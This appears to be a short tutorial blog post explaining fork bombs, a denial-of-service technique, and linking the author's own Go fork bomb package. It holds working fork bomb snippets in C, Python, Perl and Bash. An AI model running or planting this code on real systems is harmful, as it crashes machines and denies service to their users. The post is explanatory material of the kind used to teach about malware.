Fork Bombs

Ok, so beginning with some basic malware... The simplest of all is a Fork Bomb. Wikipedia defines them as:

A fork bomb (also called rabbit virus or wabbit) is a denial-of-service attack wherein a process continually replicates itself to deplete available system resources, slowing down or crashing the system due to resource starvation.

Every process that runs on your computer requires some "computing power", and every computer has a limited amount of said computing power. So, if we make a program that consumes all of this computing power, we can essentially render the system (either temporarily or permanently) unusable. Now, there are a lot of ways to do this. But the core concept is that of forking a process. Which means that the process creates a copy of itself (often called the child).

Here are some examples of fork bombs implemented in different mediums/languages:

A fork bomb written in C:

#include <unistd.h>

int main() { 
    while(1) { fork(); }
}

A fork bomb written in python:

import os; 
while 1:
    os.fork()

A fork bomb written in perl:

fork while fork

A fork bomb written in bash:

!/bin/bash
./$0|./$0&     # $0 is the name of the shell script itself

In each example, the core concept is the same, the parent process creates a child process indefinitely.

If you wish to see an... overengineered example of a fork bomb, you can have a look at a package I wrote called GFB:

GitHub - ARaChn3/gfb: A golang package implementing a forkbomb using cgo.GitHub

Docs: https://pkg.go.dev/github.com/ARaChn3/gfb

NOTE: The GFB package actually makes use of yet another package I wrote for a logic bomb, so if you wanna look into it, please do consider first reading up on Logical Bombs.